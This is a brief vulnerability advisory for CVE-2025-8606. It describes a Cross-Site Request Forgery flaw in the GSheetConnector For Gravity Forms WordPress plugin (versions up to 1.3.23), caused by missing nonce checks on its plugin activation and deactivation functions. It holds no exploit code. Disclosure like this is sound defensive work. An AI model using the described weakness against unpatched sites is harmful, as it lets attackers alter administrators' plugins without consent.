CVE-2025-8606

Description

The GSheetConnector For Gravity Forms plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions less than, or equal to, 1.3.23. This is due to missing or incorrect nonce validation on the activate_plugin and deactivate_plugin functions. This makes it possible for attackers to trick authenticated administrators into activating or deactivating specified plugins via a forged request, such as clicking on a malicious link or visiting a compromised page.
